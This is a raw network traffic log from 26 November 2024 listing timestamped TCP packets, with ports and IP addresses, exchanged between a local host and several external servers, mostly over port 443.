Nov 26, 2024 06:39:38.027486086 CET	49726	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:38.027807951 CET	49726	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:38.027820110 CET	443	49726	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:38.318269968 CET	443	49724	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:38.318347931 CET	443	49724	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:38.318427086 CET	49724	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:38.319303036 CET	49724	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:38.319334984 CET	443	49724	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:38.443636894 CET	49678	443	192.168.2.16	20.189.173.10
Nov 26, 2024 06:39:38.465303898 CET	49727	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:38.465338945 CET	443	49727	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:38.465423107 CET	49727	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:38.465734959 CET	49727	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:38.465744972 CET	443	49727	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:39.241440058 CET	443	49726	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:39.241755009 CET	49726	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:39.241786957 CET	443	49726	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:39.242825031 CET	443	49726	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:39.242925882 CET	49726	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:39.244066000 CET	49726	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:39.244129896 CET	443	49726	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:39.244297028 CET	49726	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:39.244304895 CET	443	49726	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:39.286670923 CET	49726	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:39.678221941 CET	443	49726	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:39.678296089 CET	443	49726	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:39.678495884 CET	49726	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:39.678807974 CET	49726	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:39.678827047 CET	443	49726	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:39.680526972 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:39.680579901 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:39.680668116 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:39.680871964 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:39.680885077 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:40.013197899 CET	443	49727	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:40.013552904 CET	49727	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:40.013622046 CET	443	49727	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:40.014697075 CET	443	49727	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:40.014780998 CET	49727	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:40.015083075 CET	49727	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:40.015157938 CET	443	49727	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:40.015271902 CET	49727	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:40.015291929 CET	443	49727	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:40.068888903 CET	49727	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:40.254740000 CET	49729	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:39:40.254782915 CET	443	49729	142.250.181.100	192.168.2.16
Nov 26, 2024 06:39:40.254868031 CET	49729	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:39:40.255076885 CET	49729	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:39:40.255089998 CET	443	49729	142.250.181.100	192.168.2.16
Nov 26, 2024 06:39:40.691586018 CET	443	49727	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:40.691663980 CET	443	49727	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:40.691721916 CET	49727	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:40.692487955 CET	49727	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:40.692503929 CET	443	49727	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:40.937047005 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:40.937398911 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:40.937417984 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:40.937864065 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:40.938174009 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:40.938254118 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:40.938312054 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:40.979371071 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:40.991643906 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.388232946 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.388293028 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.388323069 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.388356924 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.388375044 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.388381004 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.388401985 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.388433933 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.388453007 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.396785975 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.404974937 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.405076981 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.405092955 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.413417101 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.413484097 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.413499117 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.454775095 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.508265972 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.550658941 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.589654922 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.593411922 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.593482971 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.593503952 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.601294994 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.601346016 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.601352930 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.601360083 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.601675034 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.609236956 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.617031097 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.617105961 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.617129087 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.624897003 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.624957085 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.624979019 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.632735014 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.632790089 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.632808924 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.648302078 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.648369074 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.648386002 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.655944109 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.656011105 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.656023026 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.663577080 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.663630962 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.663639069 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.710652113 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.710664034 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.757662058 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.790733099 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.793092966 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.793152094 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.793165922 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.793302059 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.793354034 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.793518066 CET	49728	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.793531895 CET	443	49728	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.939115047 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.939174891 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.939266920 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.939466953 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.939476013 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.946268082 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.946326971 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.946398020 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.946551085 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:41.946568966 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:41.950156927 CET	443	49729	142.250.181.100	192.168.2.16
Nov 26, 2024 06:39:41.950378895 CET	49729	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:39:41.950402021 CET	443	49729	142.250.181.100	192.168.2.16
Nov 26, 2024 06:39:41.951407909 CET	443	49729	142.250.181.100	192.168.2.16
Nov 26, 2024 06:39:41.951474905 CET	49729	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:39:41.952488899 CET	49729	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:39:41.952584028 CET	443	49729	142.250.181.100	192.168.2.16
Nov 26, 2024 06:39:41.997653961 CET	49729	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:39:41.997674942 CET	443	49729	142.250.181.100	192.168.2.16
Nov 26, 2024 06:39:42.044646025 CET	49729	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:39:42.923659086 CET	49680	80	192.168.2.16	192.229.211.108
Nov 26, 2024 06:39:43.156032085 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.156306028 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.156332970 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.157757044 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.157819033 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.158145905 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.158224106 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.158305883 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.158313990 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.195736885 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.195962906 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.195983887 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.197021008 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.197086096 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.197369099 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.197426081 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.197503090 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.197510004 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.211616039 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.243645906 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.598608017 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.598710060 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.598746061 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.598769903 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.598778009 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.598795891 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.598825932 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.607475996 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.607549906 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.607566118 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.617677927 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.617741108 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.617746115 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.617754936 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.617801905 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.621685028 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.621723890 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.621804953 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.622261047 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.622275114 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.647974014 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.648045063 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.648077011 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.648103952 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.648132086 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.648174047 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.648175001 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.648184061 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.648233891 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.656294107 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.664901972 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.664968967 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.664983988 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.673681021 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.673769951 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.673780918 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.718647003 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.721648932 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.768102884 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.769646883 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.769665003 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.793845892 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.793925047 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.793935061 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.802037954 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.802099943 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.802109003 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.810204029 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.810261011 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.810270071 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.817641020 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.818361998 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.818403959 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.818418980 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.818428040 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.818470955 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.818476915 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.818506956 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.818548918 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.818813086 CET	49731	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.818828106 CET	443	49731	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.820992947 CET	49733	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.821033001 CET	443	49733	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.821177959 CET	49733	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.821414948 CET	49733	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.821425915 CET	443	49733	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.849675894 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.853516102 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.853581905 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.853598118 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.862088919 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.862153053 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.862160921 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.870651007 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.870712042 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.870722055 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.878607988 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.878671885 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.878679991 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.887034893 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.887100935 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.887109041 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.895410061 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.895476103 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.895483971 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.912096977 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.912156105 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.912163019 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.918561935 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.918637991 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.918643951 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.925031900 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.925086975 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.925092936 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:43.977639914 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:43.977648973 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:44.025641918 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:44.050667048 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:44.052994967 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:44.053076982 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:44.053082943 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:44.053177118 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:44.053225040 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:44.053339958 CET	49730	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:44.053355932 CET	443	49730	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:44.834304094 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:44.834666014 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:44.834692001 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:44.835033894 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:44.835352898 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:44.835417032 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:44.835513115 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:44.883332968 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.076872110 CET	443	49733	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.077179909 CET	49733	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.077202082 CET	443	49733	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.077491999 CET	443	49733	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.077758074 CET	49733	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.077816010 CET	443	49733	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.077897072 CET	49733	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.123330116 CET	443	49733	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.278131008 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.278222084 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.278261900 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.278290987 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.278318882 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.278361082 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.278366089 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.278378963 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.278415918 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.279795885 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.288259983 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.288333893 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.288340092 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.296585083 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.296737909 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.296744108 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.350730896 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.398654938 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.446670055 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.446685076 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.473681927 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.473762035 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.473779917 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.481203079 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.481250048 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.481273890 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.481303930 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.481363058 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.488672018 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.496257067 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.496325016 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.496341944 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.503823996 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.503887892 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.503905058 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.511200905 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.511272907 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.511311054 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.518625021 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.518692970 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.518738031 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.527554035 CET	443	49733	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.527637005 CET	443	49733	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.527698994 CET	49733	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.528343916 CET	49733	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.528366089 CET	443	49733	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.532140017 CET	49734	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.532176971 CET	443	49734	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.532265902 CET	49734	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.532548904 CET	49734	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.532567978 CET	443	49734	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.533466101 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.533519983 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.533531904 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.533543110 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.533586025 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.540914059 CET	443	49732	104.18.94.41	192.168.2.16
